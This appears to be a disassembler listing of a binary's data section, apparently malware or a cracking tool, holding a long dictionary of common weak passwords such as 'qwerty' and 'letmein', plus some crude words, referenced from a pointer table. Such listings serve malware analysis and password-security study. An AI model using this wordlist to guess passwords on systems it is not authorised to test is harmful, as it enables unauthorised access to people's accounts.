aRochelle	db 'rochelle',0         ; DATA XREF: .nsp0:0042D748o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: .nsp0:0042D744o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: .nsp0:0042D740o
		align 10h
aRobot		db 'robot',0            ; DATA XREF: .nsp0:0042D73Co
		align 4
aRobin		db 'robin',0            ; DATA XREF: .nsp0:0042D738o
		align 10h
aRobert		db 'robert',0           ; DATA XREF: .nsp0:0042D734o
		align 4
aRoach		db 'roach',0            ; DATA XREF: .nsp0:0042D730o
		align 10h
aRisc		db 'risc',0             ; DATA XREF: .nsp0:0042D72Co
		align 4
aRipple		db 'ripple',0           ; DATA XREF: .nsp0:0042D728o
		align 10h
aRiot		db 'riot',0             ; DATA XREF: .nsp0:0042D724o
		align 4
aRing		db 'ring',0             ; DATA XREF: .nsp0:0042D720o
		align 10h
aRightwin	db 'rightwin',0         ; DATA XREF: .nsp0:0042D71Co
		align 4
aRight		db 'right',0            ; DATA XREF: .nsp0:0042D718o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: .nsp0:0042D714o
		align 10h
aRick		db 'rick',0             ; DATA XREF: .nsp0:0042D710o
		align 4
aRich		db 'rich',0             ; DATA XREF: .nsp0:0042D70Co
		align 10h
aRhino		db 'rhino',0            ; DATA XREF: .nsp0:0042D708o
		align 4
aReveal		db 'reveal',0           ; DATA XREF: .nsp0:0042D704o
		align 10h
aResistan	db 'resistan',0         ; DATA XREF: .nsp0:0042D700o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: .nsp0:0042D6FCo
		align 4
aReport		db 'report',0           ; DATA XREF: .nsp0:0042D6F8o
		align 10h
aRent		db 'rent',0             ; DATA XREF: .nsp0:0042D6F4o
		align 4
aReno		db 'reno',0             ; DATA XREF: .nsp0:0042D6F0o
		align 10h
aRenee		db 'renee',0            ; DATA XREF: .nsp0:0042D6ECo
		align 4
aRemote		db 'remote',0           ; DATA XREF: .nsp0:0042D6E8o
		align 10h
aRelease	db 'release',0          ; DATA XREF: .nsp0:0042D6E4o
aRegional	db 'regional',0         ; DATA XREF: .nsp0:0042D6E0o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: .nsp0:0042D6DCo
		align 10h
aRedhead	db 'redhead',0          ; DATA XREF: .nsp0:0042D6D8o
aReddawn	db 'reddawn',0          ; DATA XREF: .nsp0:0042D6D4o
aRecord		db 'record',0           ; DATA XREF: .nsp0:0042D6D0o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: .nsp0:0042D6CCo
		align 10h
aRebecca	db 'rebecca',0          ; DATA XREF: .nsp0:0042D6C8o
aRebal		db 'rebal',0            ; DATA XREF: .nsp0:0042D6C4o
		align 10h
aReaper		db 'reaper',0           ; DATA XREF: .nsp0:0042D6C0o
		align 4
aReam		db 'ream',0             ; DATA XREF: .nsp0:0042D6BCo
		align 10h
aReally		db 'really',0           ; DATA XREF: .nsp0:0042D6B8o
		align 4
aReality	db 'reality',0          ; DATA XREF: .nsp0:0042D6B4o
aReagan		db 'reagan',0           ; DATA XREF: .nsp0:0042D6B0o
		align 4
aRazor		db 'razor',0            ; DATA XREF: .nsp0:0042D6ACo
		align 10h
aRascal		db 'rascal',0           ; DATA XREF: .nsp0:0042D6A8o
		align 4
aRape		db 'rape',0             ; DATA XREF: .nsp0:0042D6A4o
		align 10h
aRaleigh	db 'raleigh',0          ; DATA XREF: .nsp0:0042D69Co
aRaindrop	db 'raindrop',0         ; DATA XREF: .nsp0:0042D698o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: .nsp0:0042D694o
aRain		db 'rain',0             ; DATA XREF: .nsp0:0042D690o
		align 4
aRaid		db 'raid',0             ; DATA XREF: .nsp0:0042D68Co
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: .nsp0:0042D688o
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: .nsp0:0042D684o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: .nsp0:0042D680o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: .nsp0:0042D67Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .nsp0:0042D678o
					; .nsp0:0042E3D0o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .nsp0:0042D674o
					; .nsp0:0042E3CCo
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: .nsp0:0042D670o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: .nsp0:0042D66Co
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: .nsp0:0042D668o
		align 4
aPunk		db 'punk',0             ; DATA XREF: .nsp0:0042D664o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: .nsp0:0042D660o
		align 10h
aPuneet		db 'puneet',0           ; DATA XREF: .nsp0:0042D65Co
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: .nsp0:0042D658o
aPuke		db 'puke',0             ; DATA XREF: .nsp0:0042D654o
		align 4
aPuck		db 'puck',0             ; DATA XREF: .nsp0:0042D650o
		align 10h
aPublic		db 'public',0           ; DATA XREF: .nsp0:0042D64Co
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: .nsp0:0042D648o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: .nsp0:0042D644o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: .nsp0:0042D640o
		align 4
aProtect	db 'protect',0          ; DATA XREF: .nsp0:0042D63Co
aPrompt		db 'prompt',0           ; DATA XREF: .nsp0:0042D638o
		align 4
aProgram	db 'program',0          ; DATA XREF: .nsp0:0042D634o
aProfile	db 'profile',0          ; DATA XREF: .nsp0:0042D630o
aProfesso	db 'professo',0         ; DATA XREF: .nsp0:0042D62Co
		align 4
aProcesso	db 'processo',0         ; DATA XREF: .nsp0:0042D628o
		align 10h
aProceed	db 'proceed',0          ; DATA XREF: .nsp0:0042D624o
aPrivs		db 'privs',0            ; DATA XREF: .nsp0:0042D620o
		align 10h
aPrivate	db 'private',0          ; DATA XREF: .nsp0:0042D61Co
aPriv		db 'priv',0             ; DATA XREF: .nsp0:0042D618o
		align 10h
aPrinter	db 'printer',0          ; DATA XREF: .nsp0:0042D614o
aPrinceto	db 'princeto',0         ; DATA XREF: .nsp0:0042D610o
		align 4
aPrince		db 'prince',0           ; DATA XREF: .nsp0:0042D60Co
		align 4
aPresto		db 'presto',0           ; DATA XREF: .nsp0:0042D608o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: .nsp0:0042D604o
aPrecious	db 'precious',0         ; DATA XREF: .nsp0:0042D600o
		align 4
aPraise		db 'praise',0           ; DATA XREF: .nsp0:0042D5FCo
		align 10h
aPower		db 'power',0            ; DATA XREF: .nsp0:0042D5F8o
		align 4
aPoster		db 'poster',0           ; DATA XREF: .nsp0:0042D5F4o
		align 10h
aPost		db 'post',0             ; DATA XREF: .nsp0:0042D5F0o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: .nsp0:0042D5ECo
aPorno		db 'porno',0            ; DATA XREF: .nsp0:0042D5E8o
		align 4
aPorn		db 'porn',0             ; DATA XREF: .nsp0:0042D5E4o
		align 10h
aPork		db 'pork',0             ; DATA XREF: .nsp0:0042D5E0o
		align 4
aPoor		db 'poor',0             ; DATA XREF: .nsp0:0042D5DCo
		align 10h
aPoop		db 'poop',0             ; DATA XREF: .nsp0:0042D5D8o
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: .nsp0:0042D5D4o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: .nsp0:0042D5D0o
		align 10h
aPolly		db 'polly',0            ; DATA XREF: .nsp0:0042D5CCo
		align 4
aPolice		db 'police',0           ; DATA XREF: .nsp0:0042D5C8o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: .nsp0:0042D5C4o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: .nsp0:0042D5C0o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: .nsp0:0042D5BCo
		align 4
aPlover		db 'plover',0           ; DATA XREF: .nsp0:0042D5B8o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: .nsp0:0042D5B4o
aPlane		db 'plane',0            ; DATA XREF: .nsp0:0042D5B0o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: .nsp0:0042D5ACo
		align 4
aPiss		db 'piss',0             ; DATA XREF: .nsp0:0042D5A8o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: .nsp0:0042D5A4o
aPimp		db 'pimp',0             ; DATA XREF: .nsp0:0042D5A0o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: .nsp0:0042D59Co
		align 4
aPick		db 'pick',0             ; DATA XREF: .nsp0:0042D598o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: .nsp0:0042D594o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: .nsp0:0042D590o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: .nsp0:0042D58Co
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: .nsp0:0042D588o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: .nsp0:0042D584o
		align 4
aPhone		db 'phone',0            ; DATA XREF: .nsp0:0042D580o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: .nsp0:0042D57Co
aPhilip		db 'philip',0           ; DATA XREF: .nsp0:0042D578o
		align 4
aPhil		db 'phil',0             ; DATA XREF: .nsp0:0042D574o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .nsp0:0042D570o
		align 4
aPete		db 'pete',0             ; DATA XREF: .nsp0:0042D56Co
		align 4
aPervert	db 'pervert',0          ; DATA XREF: .nsp0:0042D568o
aPersona	db 'persona',0          ; DATA XREF: .nsp0:0042D564o
aPersimmo	db 'persimmo',0         ; DATA XREF: .nsp0:0042D560o
		align 4
aPermit		db 'permit',0           ; DATA XREF: .nsp0:0042D55Co
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: .nsp0:0042D558o
aPercolat	db 'percolat',0         ; DATA XREF: .nsp0:0042D554o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: .nsp0:0042D550o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: .nsp0:0042D54Co
		align 4
aPentium	db 'pentium',0          ; DATA XREF: .nsp0:0042D548o
aPenthous	db 'penthous',0         ; DATA XREF: .nsp0:0042D544o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: .nsp0:0042D540o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: .nsp0:0042D53Co
		align 10h
aPenname	db 'penname',0          ; DATA XREF: .nsp0:0042D538o
aPenis		db 'penis',0            ; DATA XREF: .nsp0:0042D534o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: .nsp0:0042D530o
aPenelope	db 'penelope',0         ; DATA XREF: .nsp0:0042D52Co
		align 4
aPencil		db 'pencil',0           ; DATA XREF: .nsp0:0042D528o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: .nsp0:0042D524o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: .nsp0:0042D520o
aPaula		db 'paula',0            ; DATA XREF: .nsp0:0042D51Co
		align 4
aPatty		db 'patty',0            ; DATA XREF: .nsp0:0042D518o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: .nsp0:0042D514o
aPatricia	db 'patricia',0         ; DATA XREF: .nsp0:0042D510o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: .nsp0:0042D50Co
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: .nsp0:0042D508o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: .nsp0:0042D504o
		align 4
aPapers		db 'papers',0           ; DATA XREF: .nsp0:0042D500o
		align 4
aPaper		db 'paper',0            ; DATA XREF: .nsp0:0042D4FCo
		align 4
aPapa		db 'papa',0             ; DATA XREF: .nsp0:0042D4F8o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: .nsp0:0042D4F4o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: .nsp0:0042D4F0o
		align 4
aPaint		db 'paint',0            ; DATA XREF: .nsp0:0042D4ECo
		align 10h
aPainless	db 'painless',0         ; DATA XREF: .nsp0:0042D4E8o
		align 4
aPacker		db 'packer',0           ; DATA XREF: .nsp0:0042D4E4o
		align 4
aPackard	db 'packard',0          ; DATA XREF: .nsp0:0042D4E0o
aPacific	db 'pacific',0          ; DATA XREF: .nsp0:0042D4DCo
aOxford		db 'oxford',0           ; DATA XREF: .nsp0:0042D4D8o
		align 4
aOutside	db 'outside',0          ; DATA XREF: .nsp0:0042D4D4o
aOutput		db 'output',0           ; DATA XREF: .nsp0:0042D4D0o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: .nsp0:0042D4CCo
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: .nsp0:0042D4C8o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: .nsp0:0042D4C4o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: .nsp0:0042D4C0o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: .nsp0:0042D4BCo
		align 4
aOrient		db 'orient',0           ; DATA XREF: .nsp0:0042D4B8o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: .nsp0:0042D4B4o
		align 4
aOperator	db 'operator',0         ; DATA XREF: .nsp0:0042D4B0o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: .nsp0:0042D4ACo
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: .nsp0:0042D4A8o
		align 4
aOpening	db 'opening',0          ; DATA XREF: .nsp0:0042D4A4o
aOmega		db 'omega',0            ; DATA XREF: .nsp0:0042D49Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: .nsp0:0042D498o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: .nsp0:0042D494o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: .nsp0:0042D490o
		align 4
aOkay		db 'okay',0             ; DATA XREF: .nsp0:0042D48Co
		align 10h
aOffice		db 'office',0           ; DATA XREF: .nsp0:0042D488o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: .nsp0:0042D484o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: .nsp0:0042D480o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: .nsp0:0042D47Co
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: .nsp0:0042D478o
aNuts		db 'nuts',0             ; DATA XREF: .nsp0:0042D474o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: .nsp0:0042D470o
		align 4
aNumber		db 'number',0           ; DATA XREF: .nsp0:0042D46Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: .nsp0:0042D468o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: .nsp0:0042D464o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: .nsp0:0042D460o
		align 4
aNude		db 'nude',0             ; DATA XREF: .nsp0:0042D45Co
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: .nsp0:0042D458o
aNoxious	db 'noxious',0          ; DATA XREF: .nsp0:0042D454o
aNovember	db 'november',0         ; DATA XREF: .nsp0:0042D450o
		align 4
aNovel		db 'novel',0            ; DATA XREF: .nsp0:0042D44Co
		align 10h
aNova		db 'nova',0             ; DATA XREF: .nsp0:0042D448o
		align 4
aNoth		db 'noth',0             ; DATA XREF: .nsp0:0042D444o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: .nsp0:0042D440o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: .nsp0:0042D43Co
		align 10h
aNode		db 'node',0             ; DATA XREF: .nsp0:0042D438o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: .nsp0:0042D434o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: .nsp0:0042D430o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: .nsp0:0042D42Co
		align 10h
aNita		db 'nita',0             ; DATA XREF: .nsp0:0042D428o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: .nsp0:0042D424o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: .nsp0:0042D420o
		align 10h
aNight		db 'night',0            ; DATA XREF: .nsp0:0042D41Co
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: .nsp0:0042D418o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: .nsp0:0042D414o
		align 4
aNice		db 'nice',0             ; DATA XREF: .nsp0:0042D410o
		align 4
aNext		db 'next',0             ; DATA XREF: .nsp0:0042D40Co
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: .nsp0:0042D408o
aNewton		db 'newton',0           ; DATA XREF: .nsp0:0042D404o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: .nsp0:0042D400o
		align 4
aNews		db 'news',0             ; DATA XREF: .nsp0:0042D3FCo
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: .nsp0:0042D3F8o
aNetwork_0	db 'network',0          ; DATA XREF: .nsp0:0042D3F4o
aNetscape	db 'netscape',0         ; DATA XREF: .nsp0:0042D3F0o
		align 4
aNess		db 'ness',0             ; DATA XREF: .nsp0:0042D3ECo
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: .nsp0:0042D3E8o
aNepenthe	db 'nepenthe',0         ; DATA XREF: .nsp0:0042D3E4o
		align 4
aNavy		db 'navy',0             ; DATA XREF: .nsp0:0042D3E0o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: .nsp0:0042D3DCo
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: .nsp0:0042D3D8o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: .nsp0:0042D3D4o
		align 4
aName		db 'name',0             ; DATA XREF: .nsp0:0042D3D0o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: .nsp0:0042D3CCo
		align 4
aMutant		db 'mutant',0           ; DATA XREF: .nsp0:0042D3C8o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: .nsp0:0042D3C4o
aMsdos		db 'msdos',0            ; DATA XREF: .nsp0:0042D3C0o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: .nsp0:0042D3BCo
		align 4
aMozart		db 'mozart',0           ; DATA XREF: .nsp0:0042D3B8o
		align 4
aMovies		db 'movies',0           ; DATA XREF: .nsp0:0042D3B4o
		align 4
aMovie		db 'movie',0            ; DATA XREF: .nsp0:0042D3B0o
		align 4
aMove		db 'move',0             ; DATA XREF: .nsp0:0042D3ACo
		align 4
aMouse		db 'mouse',0            ; DATA XREF: .nsp0:0042D3A8o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: .nsp0:0042D3A4o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: .nsp0:0042D3A0o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: .nsp0:0042D39Co
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: .nsp0:0042D398o
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: .nsp0:0042D394o
		align 4
aMorris		db 'morris',0           ; DATA XREF: .nsp0:0042D390o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: .nsp0:0042D38Co
		align 4
aMore		db 'more',0             ; DATA XREF: .nsp0:0042D388o
		align 10h
aMoose		db 'moose',0            ; DATA XREF: .nsp0:0042D384o
		align 4
aMoor		db 'moor',0             ; DATA XREF: .nsp0:0042D380o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: .nsp0:0042D37Co
		align 4
aMonica		db 'monica',0           ; DATA XREF: .nsp0:0042D378o
		align 10h
aMonday		db 'monday',0           ; DATA XREF: .nsp0:0042D374o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: .nsp0:0042D370o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: .nsp0:0042D36Co
		align 4
aModem		db 'modem',0            ; DATA XREF: .nsp0:0042D368o
		align 10h
aMode		db 'mode',0             ; DATA XREF: .nsp0:0042D364o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: .nsp0:0042D360o
		align 10h
aMission	db 'mission',0          ; DATA XREF: .nsp0:0042D35Co
aMisfit		db 'misfit',0           ; DATA XREF: .nsp0:0042D358o
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: .nsp0:0042D354o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: .nsp0:0042D350o
aMine		db 'mine',0             ; DATA XREF: .nsp0:0042D34Co
		align 4
aMike		db 'mike',0             ; DATA XREF: .nsp0:0042D348o
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: .nsp0:0042D344o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: .nsp0:0042D340o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: .nsp0:0042D33Co
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: .nsp0:0042D338o
		align 10h
aMicro		db 'micro',0            ; DATA XREF: .nsp0:0042D334o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: .nsp0:0042D330o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: .nsp0:0042D32Co
		align 4
aMichele	db 'michele',0          ; DATA XREF: .nsp0:0042D328o
aMichelan	db 'michelan',0         ; DATA XREF: .nsp0:0042D324o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: .nsp0:0042D320o
		align 4
aMichael	db 'michael',0          ; DATA XREF: .nsp0:0042D31Co
aMice		db 'mice',0             ; DATA XREF: .nsp0:0042D318o
		align 4
aMets		db 'mets',0             ; DATA XREF: .nsp0:0042D314o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: .nsp0:0042D310o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: .nsp0:0042D30Co
		align 4
aMetal		db 'metal',0            ; DATA XREF: .nsp0:0042D308o
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: .nsp0:0042D304o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: .nsp0:0042D300o
aMenu		db 'menu',0             ; DATA XREF: .nsp0:0042D2FCo
		align 4
aMenace		db 'menace',0           ; DATA XREF: .nsp0:0042D2F8o
		align 10h
aMemory		db 'memory',0           ; DATA XREF: .nsp0:0042D2F4o
		align 4
aMember		db 'member',0           ; DATA XREF: .nsp0:0042D2F0o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: .nsp0:0042D2ECo
aMellon		db 'mellon',0           ; DATA XREF: .nsp0:0042D2E8o
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: .nsp0:0042D2E4o
aMegan		db 'megan',0            ; DATA XREF: .nsp0:0042D2E0o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: .nsp0:0042D2DCo
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: .nsp0:0042D2D8o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: .nsp0:0042D2D4o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: .nsp0:0042D2D0o
aMath		db 'math',0             ; DATA XREF: .nsp0:0042D2CCo
		align 10h
aMaster		db 'master',0           ; DATA XREF: .nsp0:0042D2C8o
		align 4
aMason		db 'mason',0            ; DATA XREF: .nsp0:0042D2C4o
		align 10h
aMary		db 'mary',0             ; DATA XREF: .nsp0:0042D2C0o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: .nsp0:0042D2BCo
		align 10h
aMarty		db 'marty',0            ; DATA XREF: .nsp0:0042D2B8o
		align 4
aMars		db 'mars',0             ; DATA XREF: .nsp0:0042D2B4o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: .nsp0:0042D2B0o
		align 4
aMarni		db 'marni',0            ; DATA XREF: .nsp0:0042D2ACo
		align 4
aMarkus		db 'markus',0           ; DATA XREF: .nsp0:0042D2A8o
		align 4
aMark		db 'mark',0             ; DATA XREF: .nsp0:0042D2A4o
		align 4
aMarines	db 'marines',0          ; DATA XREF: .nsp0:0042D2A0o
aMarijuan	db 'marijuan',0         ; DATA XREF: .nsp0:0042D29Co
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: .nsp0:0042D298o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: .nsp0:0042D294o
aMaria		db 'maria',0            ; DATA XREF: .nsp0:0042D290o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: .nsp0:0042D28Co
		align 4
aMarci		db 'marci',0            ; DATA XREF: .nsp0:0042D288o
		align 4
aMara		db 'mara',0             ; DATA XREF: .nsp0:0042D284o
		align 4
aManager	db 'manager',0          ; DATA XREF: .nsp0:0042D280o
aMana		db 'mana',0             ; DATA XREF: .nsp0:0042D27Co
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: .nsp0:0042D278o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: .nsp0:0042D274o
aMaint		db 'maint',0            ; DATA XREF: .nsp0:0042D270o
		align 4
aMail		db 'mail',0             ; DATA XREF: .nsp0:0042D26Co
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: .nsp0:0042D268o
		align 4
aMagic		db 'magic',0            ; DATA XREF: .nsp0:0042D264o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: .nsp0:0042D260o
		align 4
aMacro		db 'macro',0            ; DATA XREF: .nsp0:0042D25Co
		align 4
aMack		db 'mack',0             ; DATA XREF: .nsp0:0042D258o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: .nsp0:0042D254o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: .nsp0:0042D250o
aLynne		db 'lynne',0            ; DATA XREF: .nsp0:0042D24Co
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: .nsp0:0042D248o
		align 4
aLust		db 'lust',0             ; DATA XREF: .nsp0:0042D244o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: .nsp0:0042D240o
		align 4
aLude		db 'lude',0             ; DATA XREF: .nsp0:0042D23Co
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: .nsp0:0042D238o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: .nsp0:0042D234o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: .nsp0:0042D230o
		align 4
aLover		db 'lover',0            ; DATA XREF: .nsp0:0042D22Co
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: .nsp0:0042D228o
aLouis		db 'louis',0            ; DATA XREF: .nsp0:0042D224o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: .nsp0:0042D220o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: .nsp0:0042D21Co
		align 4
aLorin		db 'lorin',0            ; DATA XREF: .nsp0:0042D218o
		align 4
aLori		db 'lori',0             ; DATA XREF: .nsp0:0042D214o
		align 4
aLore		db 'lore',0             ; DATA XREF: .nsp0:0042D210o
		align 4
aLoose		db 'loose',0            ; DATA XREF: .nsp0:0042D20Co
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: .nsp0:0042D208o
		align 4
aLois		db 'lois',0             ; DATA XREF: .nsp0:0042D204o
		align 4
aLogout		db 'logout',0           ; DATA XREF: .nsp0:0042D200o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: .nsp0:0042D1FCo
		align 4
aLogic		db 'logic',0            ; DATA XREF: .nsp0:0042D1F8o
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: .nsp0:0042D1F4o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: .nsp0:0042D1F0o
aLock		db 'lock',0             ; DATA XREF: .nsp0:0042D1ECo
		align 4
aLoad		db 'load',0             ; DATA XREF: .nsp0:0042D1E8o
		align 4
aLive		db 'live',0             ; DATA XREF: .nsp0:0042D1E4o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: .nsp0:0042D1E0o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: .nsp0:0042D1DCo
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: .nsp0:0042D1D8o
		align 4
aLips		db 'lips',0             ; DATA XREF: .nsp0:0042D1D4o
		align 10h
aLion		db 'lion',0             ; DATA XREF: .nsp0:0042D1D0o
		align 4
aLink		db 'link',0             ; DATA XREF: .nsp0:0042D1CCo
		align 10h
aLinda		db 'linda',0            ; DATA XREF: .nsp0:0042D1C8o
		align 4
aLimited	db 'limited',0          ; DATA XREF: .nsp0:0042D1C4o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: .nsp0:0042D1C0o
		align 4
aLima		db 'lima',0             ; DATA XREF: .nsp0:0042D1BCo
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: .nsp0:0042D1B8o
		align 10h
aLight		db 'light',0            ; DATA XREF: .nsp0:0042D1B4o
		align 4
aLife		db 'life',0             ; DATA XREF: .nsp0:0042D1B0o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: .nsp0:0042D1ACo
		align 4
aLick		db 'lick',0             ; DATA XREF: .nsp0:0042D1A8o
		align 10h
aLibrary	db 'library',0          ; DATA XREF: .nsp0:0042D1A4o
aLiberal	db 'liberal',0          ; DATA XREF: .nsp0:0042D1A0o
aLexluthe	db 'lexluthe',0         ; DATA XREF: .nsp0:0042D19Co
		align 4
aLewis		db 'lewis',0            ; DATA XREF: .nsp0:0042D198o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .nsp0:0042D194o
aLeslie		db 'leslie',0           ; DATA XREF: .nsp0:0042D190o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: .nsp0:0042D18Co
aLeroy		db 'leroy',0            ; DATA XREF: .nsp0:0042D188o
		align 4
aLeland		db 'leland',0           ; DATA XREF: .nsp0:0042D184o
		align 4
aLegal		db 'legal',0            ; DATA XREF: .nsp0:0042D180o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: .nsp0:0042D17Co
		align 10h
aLeft		db 'left',0             ; DATA XREF: .nsp0:0042D178o
		align 4
